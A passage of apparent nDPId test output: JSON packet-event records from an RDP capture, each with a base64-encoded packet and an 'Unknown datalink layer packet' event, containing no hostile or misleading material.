+02085{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1954,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":861470,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFjpUAAfwYhMsCoAo6sEAK5DT3NDkeiXDD5vSOXUBD45\/gyAAAXAwMGbwAAAAAAAAJ+56W+X0De59SVbeWMnbsHa5Xj8Ik12DdyP\/eHFcDkjPyBP7qh\/BchmC6x5Pe\/tnYWGpd4Wa7dxDuOfRlLnkO9l7nC15pJpze5voETr6m8eShApsZnlCBaVP6ADm4k8L0UxOPO0MbsL88iem2zOP2KUeEOeVOV\/LIEqX\/wo2X7I+FuzDeulaKIdAz9kGaSx34r+hJTxaFYTcMXJUcVTyBmbaudCrhBqFMwmXBiems0gixeCQBMlIehQC6hqpqvCFYJ1ZNFR\/2cw6BGTUNcQ+OCdBP3dQDAe40VKSB8r+n\/t5\/O1ZSI5QQw6unGu9Og2yRPqzp1u0Oa5hD03GIeGph2LlBpjfaKFxLIPu3AdqX69rPe3OpG2uVjL8Z\/+DMxUSwIZriw8FDwbZzBuA78GK1GrojJg0tcc8GP4EcF1HwFueTCRBwr+6GjcQ0jwwatKnKHYWXnsYg7xrMR4yQ\/ssKf2t2E0P\/DQCY6o5GAhP\/nub\/Kyxg9KGcE0NxWYIm9nrNrBAJqEyN\/4pYPqFf8PJDuxvk8P79oSt4eS9oNIPDzqhUS7QBxo9bSua4q6w4KqcKjTV5\/BsrRegvKWRSLyjL7cDiydsas6av2jwCfjWP1DqwPwLCoSB\/cs39VOfRzUGdlkv7B3YralKM4mqY8QCYc6z4xuAitAcJJ0QP1O\/aQGYk0nytbB4iAnjuJKnLtoLu90Zp9WuFfYAys6lRpbvZT4FaLJx8VZRyeD3NVzfRk5rkJ+pJe29TOQ+W+6IyWccdP1AW1ANR\/QCSujzLZ5yvsWt0mg6CXsFVRP91XMphcj62hSAqN8NIBI0pzcHVIQ+d\/l8HjhxVGUgQtSHaZR5vIhSR\/D\/pGI23U\/5SiEbrf9wnvtIUI8HKhvmwiyeawxEBd5R6GhO1r+VOCCaAL\/DO1sP4i3edAWnK3gV9fJzHeOnRwiVdKaDSf+SaK9UcDpD3\/7gLAwLI7NSVwllvPCC7Gcm3QkKm9x+3ArSEMKZTJZ7VcxK3FkHCVfSwnKM2bFaKyVxk3cc41Lw7gQAVL6062rrstpviY5IqORvmy36wGtAlyu34vW3WfNAhIwMbBO7msHQtrJZCMbJwLu4AZMb4DS+AFUMQx6fw8uIVtbochg\/vaGbGRsa0JWpJ2eogzu1pqhhQvQQJG+f3ulv+QOs6PkzZtFmLowfqaEm8lJXYj7dbkQ9NiHQDLx7GtVJmyyHKTlBFux4b\/K0ao+CRuTSZRf0sDhVIO8FZMgWeDmYhwanVX1a4Nr7vji7COBZvH0nXh8mC0SnQdvguAvvdpF9w9crOhP0t3Yifiy8p4UHfufcabuA3lMUDMrNzZ02vPFlOOeSwrs\/pUbpwgkxSCCekGMFZzyOfcldMTq1Ze6AO8dUm3apr\/lWbPzkExc6ygPRafpyB+LIrPFErq6VDnPedAK0XfFgcZbQv+AspWmTes0REr00mBsu4nPlt69q\/jz4YrBpWBIYJl6QVOPmVT3RSjnQ4T2DYZWGJaTXW\/uRsh+Ks1jYiZxcEh9aB7QTH19wNxgmMYt+5ExZUTdyCh8TsUf38M6arfTVFUHT4Mt+NbGq0NcpzfDXgOYUa7G9L1kFvr\/5BYH7GSneUvlDN5GViQdxd+4+AN\/0RUOoAJv3DRO\/1agl03WtopFHiqXgqtyHBWZ6BjqQrcswN0LcKx"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1954,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00866{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1955,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":861523,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNjpkAAfwYkr8CoAo6sEAK5DT3NDkeiYSn5vSOXUBj451sfAAASwDqnmbabC9a0CaKzyTd9PkmFa5gH0egrVLSFRXjq0O+CheFy0If5KVXUjHw3xJudcPJWmB2Splf\/XfgNoKA3j9fYvff+bzbLN2l65E13\/fwEEMlZGD7C2pYm1rwdYty0F9fJ7t\/qCi+y7AmxveOlJJ1k8y0MgUD1Vg9p2Yvye3+ITVm3hA5CYflkFqL70sdXtEOddTMpqoG93sjd94ARP1fkCMP659m5BttAky0Tm8fgQhRjTXQDRNQaFHWvPRhE7ZOAHjIW+FK01Tty9n\/NEK936ytbLzQAXoT3Q+OJhRmvmdI5oX3dwgmcAPRuPyrZJou7dICtKqoEBCa3mfYpAkGVuhRV72z3POijcOI1GObbx9pg8iKXzRXA\/cQFLDU1RWZxQ\/q9leqHXTo\/yjTrJa96EhWONO54CG0\/ZAAD0RBA\/nDH3wIqQs4rBFe4qtsK58nzWUCB358cG8DW6RGxVw6laIL5oSoGqRqe9nukJSOvKJAtWK4V8tmy"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1955,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1956,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":861558,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9JOVHomKkUBAf9HqrAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1956,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1957,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":861567,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1jp0AAfwYl9MCoAo6sEAK5DT3NDkeiYqT5vSOXUBj451X8AAAXAwMAMAAAAAAAAAJ\/cZYe7QkghGDb8PEoFyqBHJ9ljArSgfl07YuOUrL3WP+0NQHsXNqw5g=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1957,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1958,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":861667,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9JOVHomLZUBAf8np4AAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1958,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00433{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1959,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":861989,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGUAAEAAQAbIk6wQArnAqAKOzQ4NPfm9JOVHomLZUBggAAXhAAAXAwMAOOAIO32NJwxHozMV8kK61vRHbNAIFEduZ3qjNuokjUw0Oj5Q2J0zhlNwqhgpCHNOeGahDW865b+T"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1959,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02078{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1960,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":886341,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFjqEAAfwYhL8CoAo6sEAK5DT3NDkeiYtn5vSPMUBD4spvxAAAXAwMGbwAAAAAAAAKA4dz8kwoFmzb8t7EWqaT1nGy9XAsIOZvjZpCdS\/Ce8vZsCuz8OtUehLFiwBAceeyMSu0KpZrwpJG3oyLuvvLqC2hr70KjiQTBtAvlFgqIrLTdiB1ntpycK7ISw3XSwmoVK8lfRPtmjSFJCNRPjGELA7HWNN03EJLxfRjNvvRlUu1L0j+cqpAx+ETBnw9P7qUNQLv2TkoDNoyUQO2EEr+aZ\/XToxFz\/RDCRG8yhaYjCnPNFpEpobygkfkjBeD2nAoC+9D7GSurSsu5JQQKUso2mWspz8Y929kQOVT+D3Rw\/+XvGWfi3dKTr9ydxUpibnBOhgh+bSFy+7BJofUEy8whgUAgoOx66B6dbWERNrJaAe+qmj+e9fAjT25yVGvaBuEBmTsbSEHBwe4rFPA9GWjcvyOkQirA3qfya7zWV6DW4j+ETWFPMmi\/\/shz7MTUZMpx6tzq5PEsI1aLvYaSRQsfvShhkPSWsOYzaFGCbyzmkFa\/hApCgBenlaoHyMghXsG1Yfy8RIdjLRsPc2lILaeYkrDe53WHhjMbAAnCnN4F8OojrcarxJdXN2JIGzB2PqRH2S9Mb0CY8P\/613RPQ98juLIKFz0UFUehzQXKdJ4K5hOy+SNlKnvMtGhdy8s2sMWMwgZ82xgwZHXW3GAovrjknKf1\/85kkr\/6D0o1\/9pWX3JmD8Qw7B6FqeL1vwyMaApYnlbx1RoKdzljaXbN1SuPNBix++Yw1Gu8Bg11BMGtwL+F+QG75UCa16c9yS1GAc7JcVKo11RVdvPUP4bYxiAbGeOZtFZNqlTBq4ZI6+t1HyiifnaKQw7tcXco1uxgSDmD1JF3JrbwoRMUjeH+9Nn+A\/\/JljUp522V1L0YoOphiZB43FSsPZyeuqYUBgwgu+AgM4ZVxGVKZ2xJfp\/gDy7F2O8w3x7chO\/hXthfvPqi816hpnbRbJwA8It8NCmuH3sG2sT+Ed8wqKMChTR\/WyPzs75nxQkjiq9X+RDBc7sgMoy348I6UTGa7lunm8oS8\/80qUtOFqKWh1\/VaL4DGShIIVh8RFEGuFXoLoN5jw1dAdo3n9m1vhZy4FLYIECrDa9dAo2ggrO0qMX8b3eo6k0RLoPKAmd2WzEDZS9ArJK+4JaFoUVWat+HGHBpOLbyOcdLHid1HGrT8tZe5uhwOGtNXGvixucR7ENpC\/1PUZheIpY0Lv1286Mg8Wqm5j\/j8iVhMZ3jLGtak1JRgrbKcYxh76yr59Fh3r4xe\/D3d9th1FAm7lsRWSDjm3BATyAaCAcx7UAJjQGYeZM4wLVMS4JJ5fH+sflWNiwkHLFuAvVW2j0QDAAb\/qTKvgnfXQ8Sgs2zNRsR1UpM4mkOOQzO87joMXl7CYMxp37RTQiUgxp0fhfH+Y8jIICDcn2PLWie7wLYI3M22P1IFO3Seep+SuNY1yEtoexWilYHJYaaRheUKu2sj2kToz\/v+8yV7gLgP2OFquQ9uQkMa9hAN\/jBQ1i9FBHqiN1xr5BAPoMbHPkj3h9gRNJr\/Mp7nFgnz9jsxtspCZV1qadpkg8Rdb+Pi7vVblPVk0CHRd1YuPsvYHYpATINPbkGB5GqUpVOeY226wjKIx3wNGGtFU7igOjcUzJuVdocgrR3wdt2ok\/CUXaYSD9Kq10a\/mSk+YtKmFKIQE+nVpHVxkv2gLrjI0Oc"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1960,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00868{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1961,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":886436,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNjqUAAfwYkrMCoAo6sEAK5DT3NDkeiZ9L5vSPMUBj4soRvAAAwySPJ5RnUhRgyS1OdHxmzRFCsupQAEb7s0Rt\/uLT79m38etTMlZhhsr2w2sbRI5Bz\/aTT7X\/+TX4l50PuNc3d3rgC\/WYeO23kqDU7ymk8xmxYNcP4XefIBjbRlPAGZr7VlLEv\/vr9+amqBcSwkXf2JSi0oFOO8pNnL2SrJP6NfA4m4xoxcEPi+\/TK1HuxFNrDPZRIgTzTw15KzNtFEBZ5hFA4aZONEDmyzP6V2xB8Xg\/l+eZEm1TI9qZhWclj7XFNr9WjSu3YHn3HoGoJhYOW8wQBPYE1fMjHs5N1odlpMArjYmWGyoe6wEHQBPSNuXUzgWYsVcXTS4qrYBbdn6Uy0SVnz0pteUpoGAQkH9RDCMgcwhaCcERKb+0Cbx92TcrY4LwP1JF05ioKGB4KleXC4FptBW+\/Sqpd9R2SfCSt+G5D4LvQpbaYQ\/oolrfZgy8\/yd\/eqIQ0fkXzQSvcVzDjZLYJ4Vsv6dft+7BZl9ZdHRqg8KlBFOzfWe6m"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1961,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1962,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":886482,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9JSJHomlNUBAf9HPFAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1962,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02074{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1963,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":886587,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFjqkAAfwYhLcCoAo6sEAK5DT3NDkeiaU35vSPMUBD4suZmAAAXAwMGbwAAAAAAAAKBvTeOLG31nZIGb8PlbSs6f0t21TqBvCA8QW2rfFmNjAcf4GFdVTFpOVUo8rHiCik360vaHBOoLdvjlH8DKHtPIsLTMbS3CW6j0oJPZlJBe0+VOL7rw1jw7sE6\/SoptLgww98QeA7wHW1O11GTGYzNaTqdJ1bBfiPkFwFkaHpMPTUHKolA9snmsaJJEh30Y2UaT5z28zKTtB0dp1\/nBHSwNS4B5Vu34daiNt6rknQFsndGFfyXV4vb7GejAgOgMEwlJp\/ge+Dj\/nOEAb0GLNtdEWIzA5Rel80kaKsLPsta2DvRey15NcDMRjmQbP+A\/+gjRd\/S3JBPhywSY7kzFipIwTVR1LSjPJwqImLHo8eF3m6blPpdDip84lNuSLsHU0vmP5YEKuWA0sL0UyfRlb9Kvf1qD\/tXEMTwoUzj1wXbdl73bbGpIVXyiXJvEO9aef0JWu+aPthryLEp5fxEQkLYrh9JkKZH6Q9MNXj7AXpAYMvM2Jan83mIR0XlKHxjWpjazEdGvKjDPXrjiHnfc0p+ePujdjo01WT\/tBC0cCEM96Vsq7oZfmBCoiZMV\/7erhUNeQPNQYuyx7v5LAw2LtVsloNG8QGoOFa7wdNbEK7ZKQvyaGIclXP4BZeDAHbLJfROGLQv9C9zsNEDKVv68ZuQbiTOtL1zFIdzedUDy5inUacC714Vw+U8hKRxyce9eKKQRanTFl0ERmKNt2FeghEfmvBjMPjmLrH2mncUDK9niidTgTEGVdSu90JkfDgu45ca459Wf1T4fnrZNvNm2GswM6wogVHcaxmgigiSElV6xhY3LXdDl8lxCOzF8pPtP3ObWqRazu9Oa+5vH1HeWqjfBKzbUl12RoftOgMarLvjMy4eBC8euAAPlgJ98x2SELPED5gTW3xJp2KrURC\/ty0P\/2f5imPLT4SkU2hTdkIA42HegU\/rS28NoM5dI\/n+nBmWcSxGyV56xP+BiKDxFjUNaBlFLsfqt3b9ilJQPZUBRzb6ZcY9NEJ\/APHjTWZNgcspV0ODfHmQ5vd20kK7bvrFAocFUAyPRM5H1X5TXlxTkiX4wmuW1v+FFH24g2PkN0zf\/5dF6RmjAuK58mNtS\/lxSOxvUE4ED\/UoRQu46fBSeLsTiCWSIkHmu2OquMAONu+32GaQda2mTOTl9iERU9NRfXdWWdfdtMajaKgZEtchvG0WYLBZUG6ors3XKP4IKYz0IgizJIlSP93eLgh6wF\/xfochK96mYHUIzLsYEvqmBoVVOd1xG0LUgNSiHn8FN+7LcFXLmVtUEJvEV0QOT6dBCPhBG\/nP5mjnimF8pAKyE1EMcPN9+v6HB2Yyvmigwr7pvxAf2tKgfKRsFNxiM656jxyhQAPio56+QwbxdIxHxXAbbHSQvogXvtBWgLBz\/mF+d7nrwxrAP+2FaUUCPO1xvN60FeiuDWhZU+ded23VRlhFoISWvUs14p\/ixwUx9eIdy0D1Oa\/v94VmgcRYO+W4cdcDuqiMqi5aCbF9EC4QHk9bovR77qzLZmINkLVdPk2v6cfW6NqJqO0TBNh7iROkQReAlxGtNYwGTmHhbOPHMvAXFF1p8Pu1kDkNMo2AOISeroFqYP7K7UmYuIfX7JsxapcQpkmG0vYDfQwneLkzNdhbA7HsnXxQLN80H\/6zb2fBpX6FisokPSTtWCRp"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1963,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00863{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1964,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":886617,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNjq0AAfwYkqsCoAo6sEAK5DT3NDkeibkb5vSPMUBj4svrXAADwhb3fxhDezMNjJaXG6fXmiwDClpYGKV2WIyWWKmfbFvl24W2VTUKwIQNFjype2Mfp7h3RxZes++0xgKlsnNqYb+Kpu\/LynqttEweby+MVr8dkiw\/uvC4nnvmv3lPTRM5cWhLasUOgEyETDZM2Skre27imC+inuXKDZ12JqEv\/aqey+t9MsUzmB9UmW4Zv8EU1hZEHJOijmEGv4M5ya6wSdIuCWIwpJLXrrtm7S8V9IviCNhnRv0FYMgWLj8h9U9ylYkAjPzVZ5G00DXZP8g33itsCL+FzuKeSqnoBgZSdem2LV5clnqkSpej3rLcrpMNTggoCx7UIruhbxyJSr0uKacF6OtNc30qquFvUhqQCvGy6gR1lRQwMGRC7NWyGzQNXRh1bm8Wno+SaWaY86Jrpj0okg1XwirqI0wMUuImA\/TsEPWUH7+svWu4NagkckRUJJPz3igjC6IN6CgBrKW76lRFFNObp0Udxf\/Mcl8itOdLbdu6GR+a6\/XaI"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1964,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1965,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":886656,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9JSJHom\/BUBAf9G1RAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1965,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1966,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":886803,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1jrEAAfwYl78CoAo6sEAK5DT3NDkeib8H5vSPMUBj4sqY0AAAXAwMAMAAAAAAAAAKCWe70Z7a+tpHKG7ikwVohaJo46lLik0gWAAd43y1Q5wEI4PZ4FZr+lw=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1966,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00353{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1967,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":886835,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9JSJHom\/2UBAf\/m0SAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1967,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02079{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1968,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":887012,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFjrUAAfwYhKsCoAo6sEAK5DT3NDkeib\/b5vSPMUBD4sr\/pAAAXAwMGbwAAAAAAAAKDA68RS0Kjp3mua1PNR14+2Jzx2m8U8ykraS+11MBBB7O3l9lctuctT8FA6p6DkG9l0zNnUA+Bv0NeMo\/+CBgFDajYxKhv+U1oKmSBmlulBBc8E5e4EWqdpBBqUpoEZemvcU7V3Pa7BYlYl4TOngjx1xvpgZPy6kxOEQv7nwZFbwlRvxQThT31yCb1nyctsrPibApGoX00uBf5vVPBfLYckTzwdBLQTvGzXYly87InnpT\/QLwQuXEBKhyCHYmdMjp0w9rzVdJZvMFk7PGKqRXbHKW8n7mm7sQlCeSetQESaQrt+vtlKX7xKn1HqHKgQdWxs6Qz8hTQeALx87o3lpBf33K48tahNZ4RIGNFc\/An231tVnMM8mlx4KGwVrWYeiuyQE7S1kW3FNEcMi6oMvyUxKGKYT8ZtKJAU6jSSgGv7AKd\/RBtPGD6NE1FlNgKC2z7HkE8vWh3GWlPcAbC3Y9oECpTUMwB2bXyDR0xaz94wzNptNqi\/yqtSLODjVjH20YbHUbtb8gJ3FraB9hEkwxCMYGQKo9zaKJ9KCAa3BhamBLQ6z\/z5pltoFkbMn53L5Xu73U\/Bu2LOb6vpfy\/lCMacrq669eiXFdxOzwq8tZff\/Iq2izzpyywdWyUNrtMTjKVekHavBmbpbNMReJK6n0gvcIv2mK\/KMzHULupTxv2w711cIgetfxOBl35w8OOUdOepppHSN7l6QI4SQP\/lub\/+CRkMlFytru3sBEpNJTDT6gLFKlYY+ry3kZtAqWeptIueeqcTvHSHTERK4+z653hrkM9n3WpvHTbzABpn2pyivrN1xoeyr9uPmhjGU8B2Gccq4CCAp+XXHsqR7mCgGGWoPecBCbw2hnvzE5uV2fG\/Re9i3dwCGmVukXtr8CETwa2c7avwJlDDAxtUJTYvrKQTruCIyeMXNn4P0vghhL\/u7ejI097v2zqj76dvmuaKv6V8bNN\/ro3Ys+GpsvcwaXTdek58TS\/aF0uMS6KSIElhTN2tIMpAE7+PtDQ5YdrD5gLTNt7+qtyTZym1ZOP1hg5tizD7vWyq3CDZn4W1xRnL7VnErgVuCcq4VeEBtZmWmDkanw04Fs+dmDglo4+d3n73yJdSdsJ3SdWdhbONdNedu6EYQUT+otD2OFdKQYGbnJ+gNWQBIusiBr8tgwV2KcA+mMUcmmeMMJl0Q5owCnPGyPOyhFi03x4SrkBe3lFWo7BXMqb3RUxo1NHyu\/ob+HT\/ghFsR1UAkHnFe9\/\/YeGBB33\/059O9snfU8j\/f9aQElRwic6lBQl\/X1VVXkbqjrbW7Dsp\/WgquyMsb8fTEm\/Po2hwBpb6uqPs8K8Xe51ML+Drkk7tCsxJZFkUXuadmGD2DcFBVhXUkq0RWXyguaqzQQWNYnTTq31qOG3fhs0WZ3WvsMKPbPfIRVgRksi1Qr0rlvyisUx9SyUZ0rX8wWaoXJV7bnqHv4zFVk1R0GUVjvb12PAmbTqj0lUfuRBqlESyU2VZjw6O792v8HFnDs1T+JIlmle2IJKvpqx4N7EdjwQVIMIK5XmadEim+\/Xik7kRCO4dj5+pWKWUeICY2UHOKLPBPCTnLW3OGyDanmblFE21uQ7zNpq4m3yxx6Z9dDpRJXxGMser69ONpO2kYrWvkV6v4Zh5zQWx2mWCn71SZMrohIwy4hQFWWsSBi6"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1968,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00863{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1969,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":887040,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNjrkAAfwYkp8CoAo6sEAK5DT3NDkeidO\/5vSPMUBj4sn6NAAAkziGA8EoFUM52xx7b4YlVRirp3YtnvAlCr0QkaVhxy3Pgpaj\/eg+M8vXfbS11KsN6FTzuc\/BdNkeLU\/Y3bhFFSZrE2rDG5qU1+G9a6TGP2tj30kXqDJ53+M5bptm1LmK8zPzgeKrWjdFcWOL9Gw7ts+DC0f4kUtTS4YrasdfQ0GkjixzPpY2JUhzIMdLJ1qGouITBIp1C6OMv4vG4uXTXWmz6qxom+CW2ExZYgYydptgak8bionjMBBitm9wdHdFpeOfCo\/iFHD4k8lSv22YgQJE3QNwYsJw3IWHkxvLkFuZygJcqspdKr3vK7yukdR0EteMlY1f5e4VfmbEhZTBOLfjWiUKvKpxwxk5Nv3SZZGl5yP8XF30nVRc6JxFJgVYTDuY6VB8efl8qPczj\/EMapcYy0qu5TCDjbMA7t0s4WvGtKtGNDllBmv0BCIVWKLcezG6Rw9AJmKhNxV3ENHEy2uCRJLCU0FZnXLTdb0BJ0yUupGGVlVjeV05+"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1969,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1970,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":887074,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9JSJHonZqUBAfzGbQAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1970,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02086{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1971,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":887281,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFjr0AAfwYhKMCoAo6sEAK5DT3NDkeidmr5vSPMUBD4srNrAAAXAwMGbwAAAAAAAAKEV5U\/\/SaoIp9TmeoHl+n+oQFvGed7CuHjS8ytSCuqpPg2WZ8yR7rI3BiHU32GLmaMyizNanhKNiiA4acucGQuJVkhAu3egwefXbUvsqkf966kUu4d6O5SEjdpvdRCHKP6Wn7fzppjie8K+8ipEurc1FVZZbUS7xg7cyEq5TtNzWOOcwf2AIBhXy\/PNo4itJYgElYZZfacIWb\/nPQZjW\/9Lh8fYoXMWO26BWo\/Cq8L12saX3FZEKYZGTXrzRNmHNpU\/MJ3b6BBQSpbZjd5iP\/XfdJ3955cljkx6fvplx7USEGFPM86ZZo55ztBSp\/zXxBl7iGUdFqcupHRV1FT+DDMUrf98HgQtjB6vmQmYJ2qsU9Ta6y1WOOT5xdV5b1MgfCTZqOSjHs74uuc\/b+blDr5plAHXpvTbOQOJrpoXJulTtywOHw4CmMMFZ5QYZE0KfImDIubsfd1Y5TdpUdcu3Kj6lMRYd+hIxeGLx\/FRJ5cTJKSsdk